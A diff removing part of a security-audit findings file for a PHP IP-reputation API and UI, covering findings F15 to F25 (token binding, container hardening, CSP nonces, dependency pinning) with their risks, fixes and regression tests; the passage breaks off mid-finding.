- past capacity under a tight FixedClock+limiter and assert the
|
|
|
|
|
- expected 429 ceiling.
|
|
|
|
|
-
|
|
|
|
|
-### F15 — `MaintenanceController::seedDemo` requires no confirmation token
|
|
|
|
|
-- **File:** `api/src/Application/Admin/MaintenanceController.php:279-288`
|
|
|
|
|
-- **Risk:** Asymmetric with `purge` which gates on `confirm: "PURGE"`.
|
|
|
|
|
- Any actor with admin role (or a compromised service token via F3)
|
|
|
|
|
- can issue a single POST and load thousands of synthetic
|
|
|
|
|
- reports/IPs/blocks into a production database. The 409
|
|
|
|
|
- "already_seeded" check is keyed only on a literal demo-named
|
|
|
|
|
- reporter, so after a partial purge the seed will re-fire. Also a
|
|
|
|
|
- cheap repeated-write DoS.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `5c15fc5`. `MaintenanceController::seedDemo`
|
|
|
|
|
- now requires `confirm: "SEED"` in the request body and returns
|
|
|
|
|
- `400 validation_failed` otherwise — symmetric with `purge`'s
|
|
|
|
|
- `"PURGE"` gate. The check runs before the 409 already-seeded
|
|
|
|
|
- shortcut and before any DB write, so a drive-by POST or repeated
|
|
|
|
|
- cost-imposition burst is rejected without touching `reporters`.
|
|
|
|
|
- The OpenAPI spec (`api/public/openapi.yaml` and `api/openapi.php`)
|
|
|
|
|
- documents the new request body and the 400 response. The UI BFF
|
|
|
|
|
- is updated end-to-end: `AdminClient::seedDemo` sends
|
|
|
|
|
- `confirm: "SEED"` (`ui/src/ApiClient/AdminClient.php`),
|
|
|
|
|
- `SettingsController::seedDemo` requires the user to type `SEED`
|
|
|
|
|
- in the form and surfaces a flash error otherwise
|
|
|
|
|
- (`ui/src/Controllers/SettingsController.php`), and the seed-demo
|
|
|
|
|
- modal mirrors the purge modal's typed-confirm UX in
|
|
|
|
|
- `ui/resources/views/pages/settings/index.twig`. Regression test
|
|
|
|
|
- `testSeedDemoRequiresLiteralConfirmString` in
|
|
|
|
|
- `api/tests/Integration/Admin/MaintenanceControllerTest.php`
|
|
|
|
|
- asserts both no-body and wrong-literal POSTs return 400 and that
|
|
|
|
|
- no `reporters`/`reports` rows landed; the existing
|
|
|
|
|
- `testSeedDemoPopulatesDataAndIsIdempotent` /
|
|
|
|
|
- `testSeedDemoForbiddenForViewer` cases were updated to send the
|
|
|
|
|
- new body.
|
|
|
|
|
-
|
|
|
|
|
-### F16 — Admin-role API tokens are not bound to a `user_id` → privilege persists after offboarding
|
|
|
|
|
-- **Files:** `api/src/Application/Admin/TokensController.php:142-155, 166-177`,
|
|
|
|
|
- `api/src/Infrastructure/Http/Middleware/TokenAuthenticationMiddleware.php:67`,
|
|
|
|
|
- `api/src/Infrastructure/Http/Middleware/RbacMiddleware.php:51-59`
|
|
|
|
|
-- **Risk:** When an Admin user creates an admin-kind token, the
|
|
|
|
|
- `TokenRecord` carries `role` but no `userId`. If the user issuing
|
|
|
|
|
- the token is later demoted/disabled/removed, the token continues
|
|
|
|
|
- to grant Admin until manually revoked. There is no UI/API to list
|
|
|
|
|
- tokens by issuer.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `947ab89`. Three layers close the gap:
|
|
|
|
|
-
|
|
|
|
|
- 1. **Schema.** Migration
|
|
|
|
|
- `20260505110000_add_user_id_to_api_tokens` adds nullable
|
|
|
|
|
- `api_tokens.user_id`. On MySQL it carries an FK to `users(id)`
|
|
|
|
|
- with `ON DELETE CASCADE` — a hard-deleted user takes the tokens
|
|
|
|
|
- they issued with them. SET NULL was rejected because reverting
|
|
|
|
|
- to a NULL `user_id` would let the token re-enter the
|
|
|
|
|
- grandfathered legacy path. SQLite cannot add an FK via ALTER
|
|
|
|
|
- TABLE, so deletion-time enforcement on that driver falls back
|
|
|
|
|
- to the application layer (issuer-row lookup returns null →
|
|
|
|
|
- 401). The system has no API-level user-deletion path; both
|
|
|
|
|
- drivers behave identically for the actual offboarding flows
|
|
|
|
|
- (disable + role demote).
|
|
|
|
|
- 2. **Binding.** `TokensController::create` writes the acting
|
|
|
|
|
- user's id into the new column for `kind=admin` tokens only.
|
|
|
|
|
- Reporter / consumer / service tokens stay user-less — they are
|
|
|
|
|
- device credentials, not delegated user privilege.
|
|
|
|
|
- `TokenRecord` carries the new `userId` field; the create
|
|
|
|
|
- response and list response surface `user_id`, the list also
|
|
|
|
|
- denormalises a `user_label` (display name, email, or `user#N`).
|
|
|
|
|
- Admin tokens minted via `bin/console tokens:create` carry NULL
|
|
|
|
|
- and are grandfathered — operators rotate those after deploy if
|
|
|
|
|
- they want strict binding.
|
|
|
|
|
- 3. **Enforcement.** `TokenAuthenticationMiddleware` injects
|
|
|
|
|
- `UserRepository`; for any admin-kind token with non-null
|
|
|
|
|
- `user_id` it loads the issuer and refuses the token (401, same
|
|
|
|
|
- shape as every other auth failure) if the issuer row is
|
|
|
|
|
- missing, has `disabled_at` set, or has a current role that
|
|
|
|
|
- doesn't satisfy the token's bound role
|
|
|
|
|
- (`role.satisfies(token.role)`). NULL `user_id` skips the
|
|
|
|
|
- check, preserving the grandfathered path. ImpersonationMiddleware
|
|
|
|
|
- still validates the impersonated user separately (F11), so a
|
|
|
|
|
- service token that claims to be a disabled user is still 403'd
|
|
|
|
|
- before the role check fires.
|
|
|
|
|
-
|
|
|
|
|
- UI: `/app/tokens` adds an Issuer column showing `user_label` (or
|
|
|
|
|
- `user#N` for deleted issuers, or `—` for legacy / console-issued
|
|
|
|
|
- tokens). OpenAPI yaml + `openapi.php` document the new fields.
|
|
|
|
|
-
|
|
|
|
|
- Regression tests in
|
|
|
|
|
- `api/tests/Integration/Auth/TokenIssuerBindingTest.php`:
|
|
|
|
|
- `testAdminTokenCreatedViaApiIsBoundToActingAdmin` (binding +
|
|
|
|
|
- audit row attribution),
|
|
|
|
|
- `testReporterTokenCreatedViaApiIsNotBoundToUser` (admin-only
|
|
|
|
|
- binding), `testListSurfacesIssuerLabel` (denormalised label),
|
|
|
|
|
- `testBoundAdminTokenAuthenticatesWhileIssuerActive` (happy path),
|
|
|
|
|
- `testBoundAdminTokenIsRejectedAfterIssuerDisabled` (F11
|
|
|
|
|
- intersect),
|
|
|
|
|
- `testBoundAdminTokenIsRejectedAfterIssuerDemotedBelowTokenRole`
|
|
|
|
|
- (Admin-token-after-Viewer-demote → 401),
|
|
|
|
|
- `testBoundAdminTokenStillAuthenticatesIfIssuerHasMatchingRole`
|
|
|
|
|
- (Viewer token held by Admin issuer still works),
|
|
|
|
|
- `testBoundAdminTokenIsRejectedIfIssuerRowIsGone` (deletion
|
|
|
|
|
- fallback on SQLite),
|
|
|
|
|
- `testLegacyUnboundAdminTokenStillAuthenticates` (grandfathering).
|
|
|
|
|
-
|
|
|
|
|
-### F17 — `GET /api/v1/auth/users/{id}` enables enumeration of internal user records
|
|
|
|
|
-- **File:** `api/src/Application/Auth/AuthController.php:79-104`
|
|
|
|
|
-- **Risk:** A service-token holder can iterate `/users/1`,
|
|
|
|
|
- `/users/2`, ... and exfiltrate every user's `email`, `display_name`,
|
|
|
|
|
- `role`, `is_local`. No rate limit (F14), no audit (F5), no
|
|
|
|
|
- defensive sleep.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed by F14 (rate limit) and read-side audit added in
|
|
|
|
|
- `57ab1ba`.
|
|
|
|
|
-
|
|
|
|
|
- 1. **Rate limit.** F14 already attaches `RateLimitMiddleware` to
|
|
|
|
|
- the `/api/v1/auth/*` route group, so a leaked service token is
|
|
|
|
|
- capped at `API_RATE_LIMIT_PER_SECOND × 2` (default 60/s,
|
|
|
|
|
- capacity 120) per token id — both `getUser/{id}` enumeration and
|
|
|
|
|
- `upsert-{oidc,local}` abuse are bucketed on the same limiter.
|
|
|
|
|
-
|
|
|
|
|
- 2. **Read-side audit.** New `AuditAction::USER_FETCHED` constant
|
|
|
|
|
- (`user.fetched`). `AuthController::getUser` now emits a
|
|
|
|
|
- best-effort audit row on **both** the 200 (`outcome: found`,
|
|
|
|
|
- `target_label = email|display_name`) and 404
|
|
|
|
|
- (`outcome: not_found`, `target_label = null`) paths. The 400
|
|
|
|
|
- malformed-id path stays silent — that's a protocol error, not a
|
|
|
|
|
- valid-shape probe. `emit()` (best-effort) is used so a DB hiccup
|
|
|
|
|
- on the audit insert does not 500 a UI session refresh; volume is
|
|
|
|
|
- bounded by the F14 rate limit anyway. This is the only read
|
|
|
|
|
- action recorded in `audit_log` — every other action recorded
|
|
|
|
|
- there is state-changing per SPEC §4. The exception is documented
|
|
|
|
|
- inline at the constant.
|
|
|
|
|
-
|
|
|
|
|
- 3. **No defensive sleep.** Skipped intentionally. The 200/404 bodies
|
|
|
|
|
- differ structurally (`{"user_id": ...}` vs
|
|
|
|
|
- `{"error":"not_found"}`), so existence is trivially detectable
|
|
|
|
|
- from the response — timing is not the leak vector here. Adding
|
|
|
|
|
- `usleep` would only impose latency on legitimate UI session
|
|
|
|
|
- refreshes without strengthening the actual mitigation surface.
|
|
|
|
|
-
|
|
|
|
|
- Regression tests in
|
|
|
|
|
- `api/tests/Integration/Auth/AuthEndpointsTest.php`:
|
|
|
|
|
- `testGetUserFoundEmitsUserFetchedAudit` (200 path emits row with
|
|
|
|
|
- `outcome=found` and email label),
|
|
|
|
|
- `testGetUserNotFoundEmitsUserFetchedAudit` (404 path emits row with
|
|
|
|
|
- `outcome=not_found` and null label),
|
|
|
|
|
- `testGetUserInvalidIdDoesNotEmitAudit` (malformed id stays silent),
|
|
|
|
|
- `testEnumerationProducesOneAuditRowPerProbe` (a 5-id sweep produces
|
|
|
|
|
- exactly 5 `user.fetched` rows — the SOC detection signal).
|
|
|
|
|
- OpenAPI yaml + `openapi.php` document the audit emission and the
|
|
|
|
|
- 404 response.
|
|
|
|
|
-
|
|
|
|
|
-### F18 — Containers run as root (no `USER` directive)
|
|
|
|
|
-- **Files:** `api/Dockerfile:42-43`, `ui/Dockerfile:46-47`
|
|
|
|
|
-- **Risk:** Neither Dockerfile sets a `USER`. PHP/FrankenPHP/Caddy run
|
|
|
|
|
- as UID 0. Any RCE in PHP code, dependency CVE, or FrankenPHP/Caddy
|
|
|
|
|
- CVE gets root inside the container. No `--chown` on `COPY`. The
|
|
|
|
|
- `irdb-data:/data` volume is owned by root.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `33179d8`. Both `api/Dockerfile` and
|
|
|
|
|
- `ui/Dockerfile` now create an `app` system user (UID/GID 1000) and
|
|
|
|
|
- switch to it via `USER app` after the last root-required step
|
|
|
|
|
- (`apk`, `install-php-extensions`, `chmod +x`, `mkdir`/`chown`).
|
|
|
|
|
- FrankenPHP/Caddy bind to unprivileged ports (8080/8081) — no
|
|
|
|
|
- `setcap` is needed.
|
|
|
|
|
-
|
|
|
|
|
- Layout choices:
|
|
|
|
|
- - `/app` stays **root-owned and world-readable**. The runtime needs
|
|
|
|
|
- only read access; leaving source root-owned is a partial mitigation
|
|
|
|
|
- for F20 (an attacker landing RCE under `app` cannot overwrite
|
|
|
|
|
- `/app/vendor/**` or `/app/public/index.php` to persist). Tightening
|
|
|
|
|
- the read-only stance further (e.g. mounting `/app` read-only at
|
|
|
|
|
- runtime) is tracked separately by F20.
|
|
|
|
|
- - `/data` is **app-owned** so phinx migrations, the
|
|
|
|
|
- `auth:bootstrap-service-token` console call, and runtime SQLite
|
|
|
|
|
- writes succeed without root. Newly-created Docker named volumes
|
|
|
|
|
- (`irdb-data`) inherit this ownership on first creation.
|
|
|
|
|
- - `/home/app/.config` and `/home/app/.local/share` are pre-created
|
|
|
|
|
- and app-owned; `XDG_CONFIG_HOME` / `XDG_DATA_HOME` point at them
|
|
|
|
|
- so Caddy's autosaved-config and TLS-cache state has somewhere to
|
|
|
|
|
- land without falling back to `/root`.
|
|
|
|
|
- - PHP sessions in the UI continue to use the default `/tmp` save
|
|
|
|
|
- path (world-writable), so no extra mount is required.
|
|
|
|
|
-
|
|
|
|
|
- **Upgrade note for operators.** Existing volumes from pre-F18
|
|
|
|
|
- deployments were created when `/data` was root-owned; after pulling
|
|
|
|
|
- this image the new uid=1000 process cannot write to them and phinx
|
|
|
|
|
- fails with `attempt to write a readonly database`. Recover with
|
|
|
|
|
- either of:
|
|
|
|
|
- ```
|
|
|
|
|
- # one-shot chown (preserves data)
|
|
|
|
|
- docker run --rm -u 0 -v irdb_irdb-data:/data alpine chown -R 1000:1000 /data
|
|
|
|
|
- # or, if the SQLite data is disposable
|
|
|
|
|
- docker compose down -v && docker compose up -d
|
|
|
|
|
- ```
|
|
|
|
|
- Documented in the upgrade section of the deployment notes.
|
|
|
|
|
-
|
|
|
|
|
- Verification: rebuilt both images and confirmed
|
|
|
|
|
- `docker compose exec api id` / `exec ui id` report `uid=1000(app)`,
|
|
|
|
|
- the api healthz returns 200, all 429 integration tests still pass
|
|
|
|
|
- under the new user, and the UI Caddy log shows
|
|
|
|
|
- `serving initial configuration` with TLS storage at
|
|
|
|
|
- `/home/app/.local/share/caddy`.
|
|
|
|
|
-
|
|
|
|
|
-### F19 — No `.dockerignore` — host artifacts baked into images
|
|
|
|
|
-- **Files:** build context roots `api/`, `ui/`; `COPY . ./` lines
|
|
|
|
|
- `api/Dockerfile:31`, `ui/Dockerfile:37`
|
|
|
|
|
-- **Risk:** No `.dockerignore` ships in either subproject. `tests/`,
|
|
|
|
|
- `db/migrations/`, `bin/console`, `.phpstan.cache/`,
|
|
|
|
|
- `.phpunit.cache/`, `node_modules/` (UI), `composer.lock` are baked
|
|
|
|
|
- into the image. The repo-root `.env` is outside the build context
|
|
|
|
|
- by happenstance — any future developer who drops `.env`,
|
|
|
|
|
- `.env.local`, or a fixture into `api/` or `ui/` will silently bake
|
|
|
|
|
- it into the published image. Test fixtures and `bin/console` are
|
|
|
|
|
- also available to any future LFI / arbitrary-file-read primitive.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `96eaa10`. `api/.dockerignore` and
|
|
|
|
|
- `ui/.dockerignore` now apply to both build contexts and explicitly
|
|
|
|
|
- exclude:
|
|
|
|
|
-
|
|
|
|
|
- - `.env` / `.env.*` — the central F19 concern. Compose loads `.env`
|
|
|
|
|
- from the repo root (outside both build contexts), so nothing here
|
|
|
|
|
- is needed at runtime; blocking the pattern outright keeps any
|
|
|
|
|
- future stray secret file from shipping in the image.
|
|
|
|
|
- - `tests/` — fixtures and integration scaffolding that doubles as
|
|
|
|
|
- LFI surface area.
|
|
|
|
|
- - Dev-tooling caches and configs: `.phpunit.cache/`,
|
|
|
|
|
- `.phpunit.result.cache`, `.phpstan.cache/`, `.php-cs-fixer.cache`,
|
|
|
|
|
- `.php-cs-fixer.dist.php`, `phpstan.neon`, `phpunit.xml`.
|
|
|
|
|
- - VCS / editor noise: `.git`, `.gitignore`, `.gitattributes`,
|
|
|
|
|
- `.idea/`, `.vscode/`, `*.swp`, `*~`, `.DS_Store`.
|
|
|
|
|
- - `CHANGELOG.md`, `Dockerfile`, `.dockerignore`, `.claude/`.
|
|
|
|
|
- - `vendor/` (both subprojects) and `node_modules/` (ui) — the
|
|
|
|
|
- multi-stage builds install clean copies in the `deps`/`assets`
|
|
|
|
|
- stages and pull them in via `COPY --from=...`. Excluding the
|
|
|
|
|
- host copies also fixes a subtle bug: in
|
|
|
|
|
- `api/Dockerfile:30-31` and `ui/Dockerfile:36-37`, the
|
|
|
|
|
- `COPY --from=deps /app/vendor ./vendor` line is followed
|
|
|
|
|
- immediately by `COPY . ./`, which would have clobbered the
|
|
|
|
|
- deps-stage vendor with whatever the host had (typically a
|
|
|
|
|
- `composer install`-with-dev tree).
|
|
|
|
|
-
|
|
|
|
|
- Things that ARE needed at runtime stay in the context: `src/`,
|
|
|
|
|
- `public/`, `config/`, `docker/`, `composer.json`, `composer.lock`;
|
|
|
|
|
- api also keeps `db/migrations/`, `db/seeds/`, `bin/console`, and
|
|
|
|
|
- `openapi.php`; ui also keeps `resources/` (Twig views are loaded
|
|
|
|
|
- at runtime, and `resources/css|js/` are consumed by the assets
|
|
|
|
|
- stage). The ui `package.json`, `package-lock.json`,
|
|
|
|
|
- `tailwind.config.js`, and `postcss.config.js` are kept because the
|
|
|
|
|
- assets stage references them by name — `.dockerignore` applies to
|
|
|
|
|
- every stage that shares the same context, so excluding them would
|
|
|
|
|
- break `npx tailwindcss` / `npx esbuild`. They are tiny and
|
|
|
|
|
- non-sensitive.
|
|
|
|
|
-
|
|
|
|
|
- `bin/console` (api) is intentionally retained — `entrypoint.sh`
|
|
|
|
|
- invokes `php bin/console auth:bootstrap-service-token` on every
|
|
|
|
|
- api start, and `phinx migrate` plus the seeders run from the
|
|
|
|
|
- `migrate` mode. Removing them would break startup; the LFI-surface
|
|
|
|
|
- concern is mitigated by F18 (image runs as uid 1000, source tree
|
|
|
|
|
- is root-owned and read-only to the runtime user) and tracked
|
|
|
|
|
- further by F20.
|
|
|
|
|
-
|
|
|
|
|
- Verification: rebuilt both images; confirmed the excluded paths
|
|
|
|
|
- (tests, dev caches, `.dockerignore`, `Dockerfile`, `.git`, ui
|
|
|
|
|
- `node_modules`) are absent from `/app/` in the final images and
|
|
|
|
|
- the runtime-required paths (`src`, `public`, `config`,
|
|
|
|
|
- `db/migrations`, `db/seeds`, `bin/console`, `vendor`, `docker`,
|
|
|
|
|
- `openapi.php`, ui `resources/views`, ui
|
|
|
|
|
- `public/assets/{app.css,app.js,logo.svg}`) are present. api
|
|
|
|
|
- phpunit is 429/430 — the lone failure is the timing-sensitive
|
|
|
|
|
- `BlocklistPerfTest::test50kEntriesUnder500Ms` perf-budget
|
|
|
|
|
- assertion (628 ms vs 500 ms budget), unrelated to this change. ui
|
|
|
|
|
- phpunit is 134/134.
|
|
|
|
|
-
|
|
|
|
|
-### F20 — Application source is writable by the process serving requests
|
|
|
|
|
-- **Files:** `api/Dockerfile:36-38`, `ui/Dockerfile:42`
|
|
|
|
|
-- **Risk:** Combined with F18, any RCE-grade bug allows the attacker
|
|
|
|
|
- to overwrite PHP source files in `/app` (vendor, src,
|
|
|
|
|
- `public/index.php`) and persist via the next request. A `USER`
|
|
|
|
|
- directive plus stricter perms (read-only `/app`, writable only
|
|
|
|
|
- `/data`) blocks this persistence path.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `1ec9d04`. F18 already made `/app`
|
|
|
|
|
- root-owned so the unprivileged `app` user cannot write to it
|
|
|
|
|
- through standard ownership/perm checks. F20 layers on a
|
|
|
|
|
- kernel-level read-only rootfs at runtime so the same protection
|
|
|
|
|
- holds even against a primitive that bypasses uid checks (e.g.
|
|
|
|
|
- capability escalation, or a future regression that flips
|
|
|
|
|
- ownership). All three services in `docker-compose.yml` now carry:
|
|
|
|
|
-
|
|
|
|
|
- ```
|
|
|
|
|
- read_only: true
|
|
|
|
|
- tmpfs:
|
|
|
|
|
- - /tmp:uid=1000,gid=1000,mode=1777
|
|
|
|
|
- - /home/app/.config:uid=1000,gid=1000,mode=0700
|
|
|
|
|
- - /home/app/.local/share:uid=1000,gid=1000,mode=0700
|
|
|
|
|
- ```
|
|
|
|
|
-
|
|
|
|
|
- Writable paths are restricted to:
|
|
|
|
|
- - `/data` (api + migrate) — the existing `irdb-data` named
|
|
|
|
|
- volume; holds the SQLite database, phinxlog table, geoip mmdb
|
|
|
|
|
- files, the bootstrapped service token row, and any other future
|
|
|
|
|
- persistent state.
|
|
|
|
|
- - `/tmp` — PHP scratch and session files. World-writable
|
|
|
|
|
- (`mode=1777`) to match Linux convention; PHP sessions in the ui
|
|
|
|
|
- rely on this default save_path.
|
|
|
|
|
- - `/home/app/.config` and `/home/app/.local/share` — XDG dirs
|
|
|
|
|
- where Caddy/FrankenPHP write their `autosave.json` and
|
|
|
|
|
- (unused-here) TLS storage. Owned by uid=1000 with `mode=0700`
|
|
|
|
|
- so only the runtime user can read them.
|
|
|
|
|
-
|
|
|
|
|
- Verification: brought the stack up clean (`docker compose up -d`)
|
|
|
|
|
- with a synthetic `.env`. Phinx ran all 22 migrations; both api
|
|
|
|
|
- and ui reached `healthy`; both `/healthz` endpoints returned 200.
|
|
|
|
|
- Inside each container, `touch` against `/app`, `/app/src`,
|
|
|
|
|
- `/app/vendor`, `/app/public/index.php` returned
|
|
|
|
|
- `Read-only file system`, while `/tmp`, `/home/app/.config`,
|
|
|
|
|
- `/home/app/.local/share`, and `/data` (api only) accepted writes
|
|
|
|
|
- as uid=1000.
|
|
|
|
|
-
|
|
|
|
|
- Operator note: when adding a new writable path to the runtime
|
|
|
|
|
- (e.g. a cache dir, a queue spool, an upload staging area),
|
|
|
|
|
- declare it as either a named volume or a tmpfs in compose —
|
|
|
|
|
- writes anywhere else now fail with EROFS. F22 (scheduler) is
|
|
|
|
|
- scoped separately; this commit does not change `compose.scheduler.yml`.
|
|
|
|
|
-
|
|
|
|
|
-### F21 — `getTraceAsString` logged in production may leak plaintext credentials
|
|
|
|
|
-- **Files:** `api/src/Infrastructure/Http/JsonErrorHandler.php:48`,
|
|
|
|
|
- `api/src/Infrastructure/Jobs/JobRunner.php:91`
|
|
|
|
|
-- **Risk:** PHP's stringified backtrace inlines scalar arguments to
|
|
|
|
|
- each frame. An exception thrown from inside `password_verify`, a
|
|
|
|
|
- Guzzle request setter, or any function called with a token/password
|
|
|
|
|
- as an argument writes the *plaintext* secret into the trace.
|
|
|
|
|
- `SecretScrubbingProcessor` matches Argon2/bcrypt hashes and
|
|
|
|
|
- `irdb_*` token shapes but does not match arbitrary plaintext
|
|
|
|
|
- passwords or generic OIDC `client_secret` values, so password-spray
|
|
|
|
|
- and OIDC misconfig errors leak via stdout logs.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed. Both call sites now route through
|
|
|
|
|
- `App\Infrastructure\Logging\SafeTrace::format()`, which walks
|
|
|
|
|
- `Throwable::getTrace()` (and the `getPrevious()` chain) and renders
|
|
|
|
|
- one frame per line as `#N file(line): Class::method()` — the
|
|
|
|
|
- `args` element is dropped entirely, so no scalar argument can ever
|
|
|
|
|
- reach a log record regardless of the secret-scrubber's pattern
|
|
|
|
|
- list. `JsonErrorHandler` and `JobRunner` no longer call
|
|
|
|
|
- `getTraceAsString()`. Regression test in
|
|
|
|
|
- `api/tests/Unit/Logging/SafeTraceTest.php` covers single-frame
|
|
|
|
|
- arg suppression, `Caused by` chain walking, and the rendered frame
|
|
|
|
|
- layout.
|
|
|
|
|
-
|
|
|
|
|
-### F22 — `compose.scheduler.yml` runs `apk add` at every container start
|
|
|
|
|
-- **File:** `compose.scheduler.yml:3-8`
|
|
|
|
|
-- **Risk:** `image: alpine:3` (no digest, no minor pin) plus
|
|
|
|
|
- `apk add --no-cache curl tini` at runtime means each restart pulls
|
|
|
|
|
- whatever Alpine ships that minute. A compromise of the Alpine
|
|
|
|
|
- package mirror (or typosquatting) gets root in the scheduler
|
|
|
|
|
- container, which holds `INTERNAL_JOB_TOKEN` and can call
|
|
|
|
|
- `/internal/jobs/*`. Pin the base image digest and the apk versions
|
|
|
|
|
- or build a real image.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed. Replaced the inline `image: alpine:3` + runtime
|
|
|
|
|
- `apk add` with a real build context at `scheduler/`. The new
|
|
|
|
|
- `scheduler/Dockerfile` pins `FROM alpine:3.21@sha256:48b0309c…`
|
|
|
|
|
- and installs `curl=8.14.1-r2`, `tini=0.19.0-r3`,
|
|
|
|
|
- `ca-certificates=20260413-r0` at build time; restarts now reuse
|
|
|
|
|
- the locally-built image with no network fetch. The crontab
|
|
|
|
|
- (`scheduler/scheduler.crontab`) is baked into the image, which
|
|
|
|
|
- also removes the previously dangling `./docker/scheduler.crontab`
|
|
|
|
|
- bind-mount path. The compose service runs `read_only: true` with
|
|
|
|
|
- `no-new-privileges:true` and only `/run` + `/tmp` tmpfs mounts;
|
|
|
|
|
- `cap_drop: [ALL]` was tested and rejected because busybox crond
|
|
|
|
|
- calls `initgroups()` before each fork and dies with
|
|
|
|
|
- "can't set groups" without `CAP_SETGID`. Verified end-to-end:
|
|
|
|
|
- `docker compose -f docker-compose.yml -f compose.scheduler.yml
|
|
|
|
|
- up -d` brings the sidecar up healthy and within one minute the
|
|
|
|
|
- api responds `{"job":"tick","status":"success",...}` to the
|
|
|
|
|
- scheduled curl.
|
|
|
|
|
-
|
|
|
|
|
-### F23 — `jumbojett/openid-connect-php ^1.x` constraint pins a major with historical CVEs
|
|
|
|
|
-- **File:** `ui/composer.json:19`
|
|
|
|
|
-- **Risk:** The `^1.0` constraint covers a major line that has had
|
|
|
|
|
- multiple advisories (e.g. GHSA-jq3w-9mgf-43m4 / CVE-2024-21489 in
|
|
|
|
|
- v0.x/early-v1; an iss-confusion advisory in v1.x prior to 1.0.2).
|
|
|
|
|
- Given this library is the sole OIDC token-validation entry point,
|
|
|
|
|
- drift here is critical. Tighten to `^1.0.2 || ^2.0` after testing
|
|
|
|
|
- and run `composer audit` regularly.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed in `f66ceaf`. `ui/composer.json` now requires
|
|
|
|
|
- `jumbojett/openid-connect-php: "^1.0.2 || ^2.0"`, excluding the
|
|
|
|
|
- pre-1.0.2 versions that carry the iss-confusion advisory while still
|
|
|
|
|
- permitting an upgrade path to a future v2.x line. The `composer.lock`
|
|
|
|
|
- was regenerated against the new constraint (still resolves to v1.0.2,
|
|
|
|
|
- the latest published release) and `ui` regression tests pass
|
|
|
|
|
- unchanged. The "run `composer audit` regularly" half of the
|
|
|
|
|
- recommendation was already in place: `scripts/ci.sh` invokes
|
|
|
|
|
- `composer audit --no-dev` for both `api` and `ui` on every CI run
|
|
|
|
|
- (lines 84-85 and 109-110), so any future advisory against the locked
|
|
|
|
|
- version fails the build.
|
|
|
|
|
-
|
|
|
|
|
-### F24 — UI CSP allows `script-src 'unsafe-inline' 'unsafe-eval'`
|
|
|
|
|
-- **File:** `ui/docker/Caddyfile:33`
|
|
|
|
|
-- **Risk:** `'unsafe-inline'` permits inline `<script>` blocks AND
|
|
|
|
|
- inline event handlers (`x-on:click`, `onclick`). Any stored or
|
|
|
|
|
- reflected XSS sink elsewhere in the app executes unimpeded. The
|
|
|
|
|
- trade-off is documented (Alpine.js v3 `Function()` evaluator), but
|
|
|
|
|
- CSP is here a defence-in-depth string only — XSS is fully
|
|
|
|
|
- exploitable without strict CSP. Migrating to nonces or hashed
|
|
|
|
|
- scripts and packaging Alpine-with-CSP-build would close the gap.
|
|
|
|
|
-- **Severity: 2**
|
|
|
|
|
-- **Status:** Fixed. `script-src` is now `'self' 'nonce-…'` only —
|
|
|
|
|
- `'unsafe-inline'` and `'unsafe-eval'` are gone. Two changes close it:
|
|
|
|
|
- 1. **Per-request CSP nonce.** `App\Http\CspMiddleware` mints a 16-byte
|
|
|
|
|
- URL-safe nonce per request, exposes it on the request attribute and
|
|
|
|
|
- as the Twig `csp_nonce` global, and stamps a fresh
|
|
|
|
|
- `Content-Security-Policy: …; script-src 'self' 'nonce-…'; …` header
|
|
|
|
|
- on the response. The static CSP block is removed from
|
|
|
|
|
- `ui/docker/Caddyfile` because the nonce changes per response and
|
|
|
|
|
- Caddy can't see that. The only inline `<script>` left in the
|
|
|
|
|
- codebase — the FOUC dark-mode preloader in
|
|
|
|
|
- `ui/resources/views/layout.twig` — carries `nonce="{{ csp_nonce }}"`.
|
|
|
|
|
- 2. **Alpine.js CSP build.** Switched `ui/package.json` from `alpinejs`
|
|
|
|
|
- to `@alpinejs/csp`, which never calls `Function()` and so does not
|
|
|
|
|
- need `'unsafe-eval'`. The CSP build forbids inline expressions in
|
|
|
|
|
- `x-data` / `x-on:` / `x-show` / `x-bind`, so every component lives
|
|
|
|
|
- in `ui/resources/js/app.js` registered via `Alpine.data(name, …)`
|
|
|
|
|
- (toggle, rowExpander, kindSwitcher, submitGuard, dangerousAction,
|
|
|
|
|
- loginForm, decayPreview, policyPreview, policyScoreDistribution,
|
|
|
|
|
- scoreOverTime, rawTokenCopy). Initial values are read from
|
|
|
|
|
- `data-*` attributes on the root element, not interpolated into
|
|
|
|
|
- attribute expressions. The audit-page datetime-local helper and
|
|
|
|
|
- three previously per-page inline `<script>` blocks (categories,
|
|
|
|
|
- ips/detail, policies) are inlined into `app.js`.
|
|
|
|
|
- Regression tests:
|
|
|
|
|
- - `ui/tests/Unit/Http/CspMiddlewareTest.php` covers nonce uniqueness,
|
|
|
|
|
- URL-safe alphabet, the `script-src` + `frame-ancestors` shape, and
|
|
|
|
|
- middleware integration.
|
|
|
|
|
- - `ui/tests/Integration/App/CspHeaderTest.php` boots the full Slim
|
|
|
|
|
- app and asserts: every response carries CSP, the layout
|
|
|
|
|
- `<script nonce>` value matches the response header's
|
|
|
|
|
- `'nonce-…'`, nonces rotate across requests, and no inline DOM
|
|
|
|
|
- event handlers or `x-data="{…}"` object literals leak into the
|
|
|
|
|
- rendered HTML.
|
|
|
|
|
-
|
|
|
|
|
-### F25 — Trusted-proxy XFF rewrite + `private_ranges` may allow `/internal/*` bypass
|
|
|
|
|
-- **Files:** `api/docker/Caddyfile:7-11, 50-62`,
|
|
|
|
|
- `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`,
|
|
|
|
|
- `docker-compose.yml:15-16`
|
|
|
|
|
-- **Risk:** Caddy is configured `trusted_proxies static private_ranges`,
|
|
|
|
|
- so it honors `X-Forwarded-For` and rewrites `REMOTE_ADDR` whenever
|
|
|
|
|
- the immediate peer is in any RFC1918 range. The api container's
|
|
|
|
|
- port 8081 is published. In a deployment where another container on
|
|
|
|
|
- the same docker bridge or a misconfigured host-iptables rule reaches
|
|
|
|
|
